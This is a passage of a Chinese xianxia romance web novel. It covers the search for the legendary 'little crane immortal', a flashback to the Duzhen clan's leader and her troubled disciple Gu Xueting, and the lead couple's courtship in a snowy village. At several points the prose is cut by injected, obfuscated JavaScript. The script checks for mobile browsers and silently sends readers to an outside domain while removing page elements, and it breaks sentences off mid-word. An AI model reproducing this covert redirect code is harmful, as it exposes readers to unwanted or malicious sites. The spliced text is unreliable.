或许当初的宋雨阁也是考虑到了这一点,担心顾雪庭与冽雪山谷的封印有关,从而对家族产生威胁,才强烈反对顾九枝将他带回渡真世家。他的这种敌视、轻蔑的态度,想必也得罪了顾雪庭。 所以,顾雪庭在金璧城一掌打伤宋雨阁,也因为这二人早已积怨已久。他们回到渡真世家之后,说不定还发生过某些不愉快的事,种种怨气累加,才叫顾雪庭起了杀心。 可是诚如宋雨阁所言,顾雪庭在许家庄的时候还是“身体太弱、灵脉未开、活不过十六岁”的病弱少年,为何到了渡真世家之后,他的修为就突飞猛进,甚至能一掌打碎宋雨阁的心脉? 当真是他天资过人,短短几年的修炼,就突飞猛进至此吗? 叶清圆想了想,道:“后来他们有再回来吗?” “有啊,”阿楠回忆,“好像是两年前冬天的早晨,我晨跑路过晴雪院的时候,就看见他站在院子门口,淋着雪怔怔地发呆。他也穿上了和宋道长一样的修士服呢,是件道袍,还束了高冠,冠带漆黑如墨。” “他的脸色比之前更白了,眉眼间满是愁绪,淋雪的时候就像是琉璃做的人。他说他现在叫顾雪庭,也是金枝姑娘起的名字。”阿楠抿着唇,很轻地笑了,“可他还是喜欢叫雪生。” 那时候的顾雪庭想必是个清秀脆弱、宛如冰雪的少年,才叫阿楠如此印象深刻。 “然后啊,他就交给我一把钥匙和两块金砖,托我替他看顾好晴雪院。”阿楠叹息着摇头道,“我那时忙着裁制过年穿的新衣,就将东西都给了雁含。” 许雁含点点头:“是的,我也见到那位雪生哥哥了。” 她的脸颊蓦地红了,露出了羞涩的笑容:“他真漂亮,像小鹤仙一样。” 话音落下,周遭的人都被她这样幼稚的话语逗笑了:“雁含丫头又在胡说了,你怎么会见过小鹤仙?” 笑闹声中,许雁含红着脸坚称道:“真的有,我真的见过!小鹤仙只在下雪的时候才会出现,所以你们都见不到。” 叶清圆也被她红扑扑的脸蛋可爱到了,拍了拍她的手,柔声笑道:“好,你既然亲眼见过,说明你和小鹤仙有缘呀。” 谁知,她刚说完这句,脑海中竟久违地响起了系统的机械音:“恭喜宿主触发支线任务三的关键线索——小鹤仙!请宿主依据线索提示,找到小鹤仙。考虑到冽雪山谷多暴雪的特殊性,该任务暂不设置完成期限。” “提示:该线索与谢尽芜所中邪印相关,请宿主务必认真对待。” 叶清圆脸上的笑意顿了一瞬,终于!她终于找到了针对邪印的解决办法! 她笑意盈盈地转过头望了谢尽芜一眼,眼里满是掩饰不住的喜悦。 那边,白璟也被许雁含逗得忍不住笑,信誓旦旦地表示一定会陪着她把小鹤仙缉拿归案,架火烤熟,让大家都开开眼界。许雁含怒极,抬手就往他手臂上拍了一巴掌,山里长大的姑娘,手劲自是不小,白璟的胳膊险些被她一掌拍断,还委委屈屈地捂着胳膊不知道自己做错了什么。 叶清圆觉得这个人笨得有些无可救药了。她忍着笑转头去看谢尽芜,漫无边际地想:这样迟钝,难道是他们的家族遗传吗? 谢尽芜知晓她心里在想什么,在她耳畔低声道:“别想了,我可不会这样笨。” 叶清圆挑着眉道:“我看未必,你在有些方面也挺笨的。” 谢尽芜道:“比如?” “比如——” 叶清圆将声音压低,暧昧的气声里裹着狡黠的笑意,“是谁在接吻的时候连舌头不懂得伸呀?这些事难道还要我教吗?” 谢尽芜的耳廓一下子就红了,呼吸陡然粗重起来。他攥住叶清圆细瘦的手腕,薄红的唇用力抿了抿,刚要说什么。 叶清圆却蓦地退开了,与他拉开一段距离,同时道:“不要胡闹啊,谢公子。” “你……” 叶清圆佯装无辜:“嗯?我什么?” 谢尽芜手背上青筋跳了跳,终是忍耐地松开了她的手:“……算了。” 指腹在粗糙的桌面用力碾了碾,他抬眼望向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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谢尽芜的目光在叶清圆的脸上流连片刻。 纵使不太愿意承认,可他心底暗暗期待,就是在等她唤出那第二声“哥哥”。 可是叶清圆撩过他就不管了,低头照看着小孩子。这小孩人菜嘴馋,抓着果脯往口中塞,可惜没牙,咬了半天果脯还是零伤亡。 随后,叶清圆将她放下来,柔声道:“好啦,不可以吃太多。去那边找你阿娘吧?” 邻座的女人脸上带着笑意,拍手道:“乐乐,快回来呀。” 叶清圆的指尖沾了糖霜,在小孩子的鼻尖上一点。乐乐不懂,却能明白她在和自己玩闹,顿时咯咯地笑起来,迈着小短腿企鹅似的跑回去了。 叶清圆转过身,察觉到谢尽芜落在自己脸上的目光,含笑轻声道:“怎么了?” 谢尽芜抿了抿唇,目光意有所指地落在她面前的那碟果脯上,眼睫轻颤:“我想……” “想什么?” 叶清圆看了他好一会儿才恍然大悟。 她忍着笑意,下巴磕在谢尽芜的肩头,清了清嗓子,低声耳语道:“谢尽芜,只有小宝宝才要人喂着吃呢,你也是宝宝吗?” 她好像误解了他的意思。谢尽芜抿着唇想要再挣扎一下:“我是想……” “不许想。”叶清圆给他倒了一杯茶,看到他略显失落的眼神,又心软地笑道,“回去再想。” 70. 渡真 山里的秋天很短,眨眼到了寒冬,冷风逐渐凄厉。 清晨的时候,叶清圆刚出了晴雪院的大门,一阵干燥刺骨的寒冷霎时弥漫开来,激得她不由一个冷颤。 外面真冷,呼吸时鼻腔都要被冻得发痛。她拢了拢大氅,将脸颊埋在柔暖的围脖里,长呵一口气,隐隐有白雾交织在眼前。 许家庄的道路并非山下村镇那般平直开阔,而是因地势起伏、乱石零碎,弯弯绕绕得成了一条飘带。纵使站在小径的当中,放眼望去也看不到村庄的另一端。 清晨有雾,枫林酒馆前围满了许多百姓,正在封装包裹与木箱。木箱中装满的是皮货与草药,他们要将这些东西运往山下河边,卖出去,同时采购一些过年的货物。 在这里世代居住的百姓们对时序都很敏感,天际乌云漫漫,正在酝酿一场大雪。 雪一旦落下,冽雪山就要封山,无论进出都成了痴心妄想。因此,这也是年前的最后一次交易了。 温度好低。有裹得臃肿的小孩子们在地上叽叽喳喳,吵着要准备下山的大人们给带糖吃,还要小动物形状的彩灯、糖葫芦,还要鞭炮、新衣等等等等。百姓们脸上都带着祥和喜气的笑,已有过年时的热闹氛围了。 叶清圆走过去看了看热闹,恰好遇到晨跑的阿楠。两人并肩走了一段路,阿楠忽地笑道:“你们是专程来找雪生……顾雪庭的吧?他是出了什么事吗?” 叶清圆摇头:“为什么这样问?” “其实我们也能猜出来的,顾雪庭的身上有太多谜团了。这些年里他只回来过一次,却也是满面愁容的模样。他后来的日子,一定很不好过。” 叶清圆斟酌片刻,决定还是不告诉她实情。只道:“顾雪庭年少时体弱多病,宋道长都说他活不过十六岁。然而这几年里,在渡真世家的精心照料下,他也是平安健康地长大了,不是吗?而且他现在的修为也很高,在整个修行界,也是很……出名的。” 阿楠想了想,笑道:“也对。他都有修行世家的庇佑了,我们寻常百姓是无须为他担忧的。” 两人挨着肩又走了一段,天际流云漫漫,道旁山石花木,入眼皆是活泼可爱。 “自从顾雪庭走了之后,这里好久都不曾有外人进来了,”阿楠笑道,“姑娘也知道,外头的城镇都传言我们许家庄极为排外。实际上呢,只不过是因为这里靠近冽雪山谷,他们觉得冽雪山谷有妖怪,恨屋及乌,也觉得我们不是好人罢了。” 叶清圆无奈:“话虽这么说,生意还是照做。” “毕竟谁能抗拒钱财的诱惑呢?那位渔夫大伯也是胆子比较大的,他毕竟有家人要养啊。”阿楠也笑笑,“不过这些传闻我们也不怎么在乎,总归也不会下山去,眼不见心不烦。” 叶清圆点点头,视线放远望向被云雾遮掩的冽雪山谷,道:“山谷里可出现过什么异状吗?” “异状?”阿楠顺着她的视线看去,回忆片刻,“我也只是听长辈提起过。十五年前,冽雪山谷里忽然来了好多佩剑的人,他们都穿着黑白两色的修士服,聚集在山谷的外围,也不知是在做什么。” 十五年前,那大概就是冽雪山谷地气失衡、导致妖鬼作乱,众仙门世家准备封印此地的时候。 “那时候都说冽雪山谷里有妖怪,它们会在晚上现身,专门抓细皮嫩肉的小孩子来吃。”阿楠轻声道,“整个许家庄,家家户户到了晚上就大门紧闭,生怕家里的孩子被妖怪抓走。” “可是终究失算了。那妖怪趁夜潜入了村庄,却没有抓小孩子,而是杀掉了一对年轻的夫妻。” 她扭过脸来,轻叹一口气,眼中有悲痛与怜惜之意:“他们刚刚满月的孩子就被捆在黑漆漆的橱柜里,透过一道缝隙,眼睁睁地看着自己的父母被妖怪所杀。直到第二天清晨,有人隔着低矮的院墙看见了他们家满是血迹的窗户,这才救出那被饿得昏睡过去的孩子。” 叶清圆听得胆战心惊:“这个孩子是……” “许雁含,”阿楠叹息道,“她是吃百家饭长大的可怜孩子。” 不知不觉间,她们已经漫步走到了红枫林中。 繁盛的红枫枝叶将任何动静都隔绝开来,周遭万籁俱寂。 叶清圆顿住了脚步,满心的怜惜与不忍之情。 她轻声道:“雁含知道这些事情吗?” “她不知道,”阿楠轻笑,“我们约定好的,就说她的爹娘是跟着小鹤仙寻道去了,所以她才对小鹤仙这么执着。” 善意的谎言。让许雁含心存一丝幻想也好,毕竟真相总是残酷。 叶清圆又道:“世上真有小鹤仙吗?” “这个嘛,”阿楠不太确定,“有人说见过,有人坚称小鹤仙不存在。自由心证罢了。那冽雪山谷里不是有妖怪吗?或许小鹤仙也是妖,只不过有些变幻莫测的手段,因而被人们误以为是仙。” 不论是仙还是妖,小鹤仙至今都不见踪影,系统给的这条线索,也不知何时才能用上。 现在的关键是谢尽芜身上的邪印。 自从来到冽雪山谷之后,他的邪印发作得愈发频繁了。谢尽芜有几次痛得都有些神志不清,下意识地渴求着她,却依旧顾忌着渡灵术会损害她的心脉,而强自压抑着不肯让她靠近身前。叶清圆眼睁睁看着他痛到脸色苍白、嘴唇都被咬出血来,心里焦急万分,却也无济于事。 如今听来,小鹤仙似乎只是存在于百姓们口耳相传里的传说,到底如何才能找到它,系统不给任何提示,叶清圆也手足无措。 一刻钟后,她们走出了红枫林。天色很不好,远处山峰顶已经有乌云沉沉地压了过来。 山风劲送,叶清圆的大氅和裙摆都被风吹得鼓胀起来,宛如张开的蝶翅。 “天阴了。” 阿楠放远目光,望着天边堆叠的云翳,眼眸中凝聚起笑意:“要下雪了。” 叶清圆眯起眼感受扑面而来的冷风。 山中冽雪将至,他们会迎来今年的第一场雪。 - 一场秋雨一场寒。 渡真世家坐落在一片青松环绕的山水间。 粉墙黛瓦点缀在山雾缭绕的蜿蜒小径旁,线条简约利落,黑白分明,乍眼望去宛如一幅天然的水墨画。 渡真子弟的修士袍服上皆绣了泼墨山水的纹样,冠带、拂尘也俱是漆黑如墨,演习时宽袍大袖与群山青松晕染为一体,极为赏心悦目。 此时此刻,学舍前的一块空地上,正有两名少年满面怒气,持剑而立,似乎是发生了一些争执,要比剑争个高低。 冰冷的秋雨自高处坠落下来,狠狠浇在他们的袍服上。两名少年浑身湿透,却倔强地都不肯低头。 小小的院落中剑意弥漫,灵息四溢。不远处廊檐下挤满了看热闹的少年少女们,一张张稚嫩的脸上都是兴奋与热切。 下雨天真好,不仅不必修习功课,还有免费的热闹可以看,最喜欢下雨天了! 只是渡真世家的家规第一条,学舍内禁止私斗。 众弟子青稚的小脸上虽写满兴奋,却不由得防备地看向东北角的青霜阁。 青霜阁依山而建,为渡真世家至高之处,是历任家主办公、居住之地,巍峨高耸,如一柄开锋的利剑直入云霄。 阁顶常年有术法运转,莹蓝色的光芒灿如星辰转圜。 “学舍内禁止私斗,这群孩子竟没有人管教吗?” 云山站在冰裂纹的木窗前,压低视线,望向学舍前那群聚众斗殴的弟子们,眉心因常年紧皱而过早地出现纹路。 他冷声道:“家主也不管吗?” 顾九枝侧身坐在窗台,抬手将木窗推开一道缝隙,指尖点在潮湿的窗棂。 她的目光落在那昏沉的雨幕当中,唇瓣弯起,露出一抹漫不经心的笑:“云山,稍安勿躁。” 阁顶燃了灯烛,莲花纹的样式,共八十一枝。 明暖的烛光照亮了她素净的面容,眸光温和,肌肤雪白,额心一点莲花纹,隐隐有光华流转。 窗外的凄风苦雨被风吹着扑簌簌地灌进阁内,打湿了她水墨晕染的衣袖与素洁的手腕。她的裙角拖曳在冰冷的石砖上,被烛光晕染出一种碎金般的色泽。 云山看得直皱眉:“淋雨不是个好习惯。” 顾九枝抬袖,纤长的手指竖在唇边,轻轻地嘘了一声,叫他闭嘴。 学舍前那两名弟子已然打了起来。院内霎时剑气纵横,松枝零落满地,坠落的雨滴被剑锋割断,飞散如箭,小院里遍地狼藉。 剑锋相击的清鸣之中,隐约夹杂着愤怒的叱骂声,听起来这场打斗的起因竟只是一盏清茶泼了书本。 这二人愈打愈烈,学舍檐角的风铃都被削掉一只,挤在廊檐下观战的子弟高声叫好,呐喊、助威声起伏如浪。 两名子弟身处这般躁动的氛围里,竟是越打越来劲了。 眼见着场面就要失控,云山额角青筋直跳,忍无可忍,反手从后腰玉带抽出拂尘,足登窗台,就要纵身而去。 “慢。”顾九枝抬手制止他,“这种小事自有院判处理,不必你我出手。云山,你安静些吧。” “他们再打下去可是要将学舍掀了。” 顾九枝扭过脸去,不理会他的提醒。 云山眯起眼,将拂尘插回了衣带中,眼瞳中随即露出讥讽的笑意:“哦,还是师姐特别喜欢看弟子私斗啊?有种故人重现的感觉是吗?毕竟上一次在众目睽睽之下刀剑相向的人,还是那位顾雪庭和雨阁师弟啊!” 顾九枝的眼神一瞬间冷了下去:“云山,住口。” 云山挑衅似的轻笑道:“那次比试是谁赢了?似乎是顾雪庭吧。我的记性太差,不知师姐可还有印象?” 顾九枝眼望凄风冷雨,细碎的发丝被雨打湿,黏在她的脸上。 “师姐自然记得。” 云山幽邃不明的眼神落在顾九枝皙白的侧脸,字字狠戾如刀:“毕竟顾雪庭可是师姐亲手教导,再造之恩,无论对他还是对你,都不可能忘却。” 顾九枝依旧不理会他。 云山做事向来界限分明,性情却过分固执。他不懂过刚易折的道理,身居高位多年,因口无遮拦、手腕狠辣而得罪过族中不少人。 若非顾九枝费心从中转圜,以渡真世家族内的波云诡谲,他此刻未必有机会站着与她说话。 云山也不觉得尴尬,话中嘲讽之意更甚:“想当初他只不过是个快要病死的废物,连灵脉都没有开,按族规来讲,他连做个洒扫童子的资格都没有。可师姐却很重视他嘛,竟不顾他的资质庸俗、强行催动灵力灌顶,硬生生助他提了二十年的修为。” 云山抱臂而立,神色轻慢而不屑:“灵脉多次爆裂才换来的修为,几近于脱胎换骨。雨阁师弟最终败在他的手中,不就相当于死在你手里吗?师姐,你可曾后悔过?” 往事汹涌,顾九枝搁在窗台上的手指被冷雨淋湿,指尖用力得发白。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14721143|154043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她明知他们之间有着不可逾越的血海深仇,也明知她应该斩草除根、不留后患,却为何强行灵力灌顶,为他重塑灵脉? 那时他不过十六岁,身体弱得就像一抔雪,却被她拎着跪在凄冷阴暗的宗祠大殿里。 跪满十个时辰后,她给他改名为顾雪庭,记入渡真世家的宗家血脉,而后她当着诸位祖宗的牌位,催动灵息,强行灌进他全身灵脉。 他那时刚开灵脉,孱弱得就像一条刚刚露芽的幼苗,修为又弱得根本不足以撑持她的强悍灵息。而她出手向来凶狠,完全不顾他是否能够承受,揠苗助长也罢,变相残杀也罢,她只看他能否撑过这一关。 若是撑过去了,今后无论他要怎样,她都概不阻止;撑不过去,也是他命定如此。 她给他一次绝地反杀的机会。 只有一次。 顾九枝闭上眼,他撕心裂肺的惨呼声至今犹然回荡在耳边,眼瞳中满是锥心痛楚,痛到极致,原本清亮的眼瞳中竟淌下两行血泪。 云山师弟说得对,她在养虎为患。 而这只虎,也确实到了向主人露出利爪的时候。 远处学舍里的争斗接近尾声,满地的剑痕与枝叶。白胡子院判终于姗姗来迟,一人赏了一巴掌,让他们滚去面壁思过。 顾九枝收回目光,眼神落在云山的脸上,冷冰冰的不带一丝温度:“你今晚的话太多了。你妒忌了吗?” “他也配我妒忌?”云山冷哼,“一个抹黑世家清誉的废物,我恨不得他快些去死!” 顾九枝道:“云山,你太偏激了,这样不好。你既身居高位,就该明白情绪是必须舍弃的东西。” “师姐说我?多次心慈手软的不是你吗?若论位置高低,家族中恐怕没人比你更高了吧?” 顾九枝淡声:“倘若我不再居于家主之位呢?” 云山哑然。 顾九枝又道:“族中谁可以接替我?” 云山的脸色沉了下来:“师姐,你不要开这种玩笑。” “我从来不开玩笑。”顾九枝道,“这几年我想了很多。裴叙、木之洲和顾鸢都是可造之材,族中长辈应当好好培养他们。” 云山拧着眉:“那你呢?” “我和顾雪庭之间,终究要有一场决断的。” 听到这里,云山又怒起来:“我早说过,让顾雪庭入门,无异于养虎为患。当初在冽雪山谷就应该当场解决了他!” 他的声音比窗外秋雨还冷,“雨阁师弟的提议合理得很,偏偏师姐非要保住顾雪庭。结果呢?结果就是雨阁师弟被他害死,永安江氏的少主也重伤昏迷,而顾雪庭至今还不知在哪个地方逍遥快活!” 云山恼得脸色发红:“众仙门世家联合发出的通缉令上可写明了他曾是我门中子弟,我渡真世家自创立以来,还从未如此丢脸过。” 顾九枝抬手将他推远了些,顺便将手上的雨水都抹在了他洁白的袍服上,叹气道:“我不过说了两句而已,你为何总是在他的事情上如此激动呢?” 云山当场洁癖发作,怒火中烧:“不如说师姐为何总是出言庇护他!事到如今,师姐竟还对他心存怜悯吗?!” 顾九枝的神经似乎被刺了一下,红润的双唇微不可察地颤抖着,本就冷白的脸更是褪去了血色。 她闭着眼深吸了一口气,视线越过高低错落的学舍与书阁,望向天际尽头那一轮将熄未熄的血色残阳。 云山道:“顾雪庭多活一天,冽雪山谷的真相就多一分暴露的风险。师姐若不想渡真世家几百年的名望毁于一旦,就尽早做出决定。” 顾九枝看了他一会儿:“你是以什么身份与我讲话,渡真世家的云山长老吗?” “顾九枝的师弟!” 他冷哼一声,拂袖而去。 良久,顾九枝起身离开菱花窗台,莲花灯将她本就纤瘦的背影拉得很长。 堆满公务的桌上摆了一只摇头摆尾的木制狸花猫,是八年前顾雪庭用佩剑一点一点削出来的。 他们途径一处据说是闹妖的城镇,抓了一只由爱生恨、报复百姓的狐妖。 那狐妖的执念很强,顾九枝费了好大的力气才将它收服。从雾气迷蒙的山林中走出来的时候,她看到顾雪庭坐在道旁的石头上,垂着头不知在想什么。 她走过去,顾雪庭抬头,往她的手里塞了一只木削的狸花猫。 顾九枝将拂尘插在后腰衣带,低声道:“在想什么?” “因爱生恨。”顾雪庭轻声,“不如不爱。” 顾九枝想了想:“爱与恨是对等的。当初有多爱,此刻就有多恨吧。” 顾雪庭道:“恨是爱的代价?” “可以这么说罢。”顾九枝顿了一下,补充道,“爱到最后,也未必就是以恨来收场。这世上携手相伴一生的人也很多,如狐妖之流也仅是少数,它被抛弃、被憎恶,因此才心生怨恨,试想谁能接受曾经的爱人最终对自己持剑相向呢……” 她接触到顾雪庭的视线,忽然发觉自己说得太多,于是笑道:“罢了,这些事我也不太明白。” 顾雪庭沉默了一会儿,认真道:“假如有一天你也要抛弃我、憎恶我,或许我只会感到难过吧,并不会恨你。” 话音落下,顾九枝心中轰然一声,如石沉水,没来由地闷痛。 青霜阁上,顾九枝望着窗外凄迷的冷雨,脸颊潮湿冰冷,不知是雨还是泪。 冽雪山谷该下雪了。 71. 松林 谢尽芜站在院内红梅树下,花苞已经缀满枝头,人站在花树下,隐约可以嗅到清冽的香气。 他在等,等叶清圆从外面玩累了回来。 枝头的红梅花马上就要开了,天际云浪翻涌,冷风呼啸,酝酿着今冬的第一场雪。 雪要落了。他抬头看看天色,心里有些焦急,同时也有落寞。 他也不知道叶清圆去哪里玩了,想找都不知道该去哪里,她每次出门都不跟他讲。高兴了就过来抱他一下,摸摸他的脸,他的视线每次都忍不住落在她红润饱满的唇瓣,可她就像看不懂他的渴求一样,眼中带笑,绝情离开,这么久过去了连个吻都不肯施舍。 他甚至不敢细思叶清圆究竟对自己有几分喜欢、几分敷衍。 那次分明说喜欢的不止是他,为何患得患失的却只有他? 白璟房间的窗户开着,他昨日刚从酒馆里买了一本九手戏文,烂糟糟地不知有什么好看,偏他奉若至宝,笑声放肆得传遍整个晴雪院。 谢尽芜听着他无忧无虑的笑,心情更郁闷了。 他十六岁那年,希夷殿主酒后曾推心置腹地跟他讲过,不要轻易动情。像他这样的人一旦动情,必定吃苦。那时他还不懂,觉得殿主狡诈,必定又在诳他。如今他怀揣着一颗忐忑不安的心,却是已经了然三分。 他的眼瞳中染上沉郁之色,骨子里的独占欲开始作祟。 若是她总是向外跑,那么就困住她的行动,也未尝不可。 他选择的山馆孤立于群山之巅,避世之处,距离山脚下最近的城镇尚且有五里之遥。且整座山峰都有结界封印罩护,不管他们做什么,都没有外人打扰。 他亲手绘制的山馆设计图早就送到了取舍庄。过不了多久,那些利落的线条就会转变成漂亮优雅的亭台楼阁,是他亲自为她设计的一只华美却坚固的金丝笼。 恰好豢养她这只活泼可爱、娇弱柔嫩的鸟儿。 笼中囚鸟,无需自由。有他在,她不需要舒展有力的双翼,只要躲在他的怀里,露出一双漂亮的眼珠,时不时哄哄他,亲亲他就好了。 他会为她做出一切。 谢尽芜单是这么想着,浑身血液就不可抑制地沸腾起来。他蹭地站起身,呼出的气息在寒冷的空气中凝成交织的白雾。 一颗心怦怦跳动起来。他推开晴雪院的大门,冷风灌进瓷白的脖颈,他却丝毫不觉得冷,甚至浑身雀跃着热了许多。 谢尽芜沿着碎石小径往东走去,路上有孩子在放鞭炮,还有吃糖葫芦的。 天更阴了,隐隐有碎雪飘落下来,谢尽芜俯身问道:“见到叶姑娘了吗?” 小孩子舔着糖葫芦外面那层糖,豆芽菜似的手指向东一指:“枫林酒馆。” 谢尽芜加快脚步,同时抬眼望着天色。 第一次落雪的时候,他要和她一起看。 雪越落越大了,飞旋着往下坠,他的肩头已经洒上了一层薄薄的银白。村子里热闹起来,门户前好多人在举着手接雪,谢尽芜视若不见。 唯有枫林酒馆的明光倒映在他漆黑的眼瞳中,像是燃起了两簇火。 今日的酒馆好热闹,百姓们脸上带着喜气,两只手都提了满满的包裹,像是刚逛了集市一般。酒馆的木门开阖不断,谢尽芜强自按捺着在酒馆外头站了一会儿,等人出得差不多了,才抬手去拉门。 谁知他刚一靠近,木门忽地被人从里头推开。 谢尽芜反应极快,迅速收手侧身,免得与人碰上。下一秒看清来人是叶清圆之后,他又上前半步,稳稳托住了她的手腕。 叶清圆险些栽进他的怀里,回过神来下意识略含歉意地笑。谢尽芜看到她眼底那一抹神色,顿时就有些不悦。 歉意不是他们之间该有的情绪,她竟还如此见外。 谢尽芜半揽着人就不放了,叶清圆纳闷地将他向外推了推,走到酒馆门前的空地,免得挡路。 酒馆的木门阖上,外头细雪纷飞。 谢尽芜不太喜欢酒馆,归根结底是他不喜欢嘈杂的地方。叶清圆有些讶异会在这里碰到他,笑盈盈道:“怎么来这里啦。要喝酒吗?” “不喝酒。” 想见你。 叶清圆抬手拂去他肩头柔软的初雪,谢尽芜抓住她的手,顺势拢在自己宽厚温热的掌心里:“很凉,不要碰雪。” 叶清圆的眼里又露出那种温柔的笑意:“哪就有这么娇气。” 谢尽芜的目光近乎贪恋地流连在她的脸上,仿佛下一秒就要不顾一切地吻上来。叶清圆顾忌着这是公共场所,有些不太自在。 幸好此刻天阴,光线昏暗,他的脸颊掩在阴影中,叫人看不清神色。 谢尽芜终于看够了,注意力转移到她手里的油纸伞,很自然地接过她提着的小布包,轻声道:“你呢,在这里干什么?买伞?” “买伞。还买了鞭炮、日历和糖葫芦。我们要准备过年啦。” 两人牵起手。 叶清圆走路时习惯性地摇晃手臂,谢尽芜的手也被她带动着晃呀晃,晃得他一颗心都软了。 她说起猎户们这趟下山都带了什么好吃的好玩的。谢尽芜很安静地听,唇畔勾起一抹温和的笑容:“没有多买点零食吗?” 叶清圆摇头:“不能吃太多零食,我要改掉吃零食的习惯了。” “为什么?”谢尽芜偏过头问。 不为什么。再吃下去,那零嘴里的糖和油都会转变成她小肚子上的脂肪,来年春天的衣裙又要大改尺寸了。 叶清圆不想跟他讲这些:“没什么的。” “哦。”谢尽芜眨了眨眼,无法自控地感到失落。这些小事她都懒得解释,说到底是不够喜欢他。 两人牵着手回去,雪下得密了,覆盖在地面上薄薄的一层,靴底踩上去有些滑溜溜的。 叶清圆挣开他的手想要撑伞,谢尽芜不许,非要和她一起淋雪。叶清圆抗议许久都无效,气急败坏地在他手掌边缘咬了一口。 谢尽芜被咬了还在笑,他轻声道:“清圆,我看别人买的伞都是红枫伞面,为何你买的却只有白底?是掉色了吗?” 你才掉色了。 叶清圆没好气道:“那伞面上的秋雨红枫是顾雪庭的最新画作,如今在外头城镇里可流行了。你若是喜欢,我再去买一把就是。” 谢尽芜的脸迅速蒙上冰雪严霜之色:“不许买。” 叶清圆哼道:“专程托人买了一把白底的油纸伞,本来还打算让某人亲笔作画呢,现在看来,他倒是不太领情。” 碎石小径蜿蜒曲折,逐渐走到了尽头。 晴雪院的院墙在迷离的雪幕中露出一角。 他的掌心热了起来,紧握着她的手。 叶清圆噘着嘴巴,还在喋喋不休:“不如就让白璟来画吧,反正谁画都——哎呀,你干什么?!” 谢尽芜拉着她的手,经过院门却不进,径直拉着她来到了晴雪院西边的松树下。 这里很隐蔽,周遭除了院墙就是松林。古松遮天蔽日,连碎雪都被繁茂的松枝稳稳托住。 谢尽芜将她的身体抵在外墙,而后压了上去。 他身量高,肩宽腿长,双臂搂住她的腰时,恰好是个禁锢的姿势,不容她有半点脱逃的可能。 他的手掌还垫在了她的腰背上,因此叶清圆的身体并没有与粗糙冷硬的墙壁直接接触。却也感到了这份涌动的压迫感。 油纸伞啪地摔在了地上,叶清圆有些呼吸不过来了:“谢尽芜?” 谢尽芜含混不清地嗯了一声,灼热的气息喷洒在她的脸颊与唇角。 叶清圆仰着脖子,被他的气息拂得有些发痒:“怎么了?” 他的声音轻轻颤抖着,终于问出了那个萦绕心头许久的疑惑:“清圆,你心里只有我一个人吧?” 叶清圆一阵莫名:“怎么忽然说起这个?” 这份疑惑落在谢尽芜的眼中,就成了逃避、敷衍、不够坚定。 他眼眸里的光亮顿时黯淡下去,满含的期待也被她一泼冷水浇灭。 叶清圆有些摸不着头脑:“那天晚上在红梅树下,不是都说过了吗?” 谢尽芜的眼帘抬起。 “亲吻这种事,是只有喜欢的人才可以做的。”叶清圆的声音逐渐变小,温软柔和的,哄他一样,“我要是不喜欢你,怎么会让你……” 话没有说完,是很难为情的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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叶清圆一拳捶在他的肩膀上,怒道:“把你的牙齿收一收!” 谢尽芜听到她这话,低喘着放开,脑筋迟钝地思索一瞬,才重又吻上来。 幸好他懂得垂下颈子去吻她,她不会因为仰着头而被口水呛到。可饶是如此,叶清圆依旧有些招架不住,侧脸想要躲避,却被他追着吻过来。 难舍难分了不知多久。直到松枝堆积的一团白雪砸落在脚边,谢尽芜这才意犹未尽地亲了亲她的下唇,勉强撤开一点距离。 叶清圆有点缺氧,腿软得站不住就要往下滑,被他抱着腰捞起来,牢牢地禁锢在怀中。 谢尽芜垂着眼在她的唇角下巴一下一下地亲,有些讨好地舔了舔她唇上的细小伤口,虔诚得好像不含任何欲.望。 掌心却在她的后腰与脊背处难以自控地抚摸着。 她穿得这么厚,外头还披了一件毛茸茸的大氅,也不知他是在摸个什么劲儿。 叶清圆勉强喘过气来,被他没完没了的亲吻缠得有些腻歪,手心按在他肩头将人推远:“行了,不亲了。” 谢尽芜眼神略有迷离地看着她,耳廓红得滴血。那神情不满足里还带着几分羞怯,仿佛刚才胡作非为的不是他一样。 叶清圆神情复杂。 分明之前还嘲笑他不会接吻,这才过去多久,他就无师自通成这般地步了。 他竟把那股聪明劲都用在这种事上。 谢尽芜的喉咙滚了滚,气息微乱:“方才是吃了糖葫芦吗?” “嗯。”叶清圆挣不开他的怀抱,有些自暴自弃,“嗯?你怎么知道?” 谢尽芜将脸颊埋在她的颈间,低喘着笑道:“很甜。” 叶清圆后知后觉地红了脸,拼了全身的力气将他推开,勃然大怒:“不知羞!” 说罢,捡起那把伞就要走。谢尽芜在她身后,沉沉地笑了一声。 他的唇同样殷红,眼眸中星星点点堆满了笑意与羞赧,亦有些餍足。 叶清圆走了两步,蓦地转身瞪他,有些难以启齿道:“……以后不准在这里!” 大白天的躲在古松林里亲个没完,像什么样子。 她的唇瓣还有些红肿,脸上的红晕也羞涩可爱。谢尽芜看得连眼睛都不舍得眨,笑着答应:“好。” 又问:“那应该去哪里?” 叶清圆真就想了想,一时也想不到合适的地方,片刻后才察觉被他下套了,气道:“我为什么要回答这么无聊的问题!” 72. 栀子 雪帘细密,整个晴雪院都被笼在柔旖朦胧的雪幕中。 檐角风铃被风推着轻颤,乌青的铜铃宛如镀上琉璃。 二楼白璟的房间窗户闭着,他不在家,两个侍从却是木讷地站在木栏旁淋雪。 看来他又是找许雁含玩去了。 到了廊下,叶清圆解开大氅的系带脱下,谢尽芜很自然地随手接过,又给她拍掉大氅上的雪。 叶清圆低着头在廊檐下跺了跺脚,鞋头堆叠的白雪像是泡沫散开。 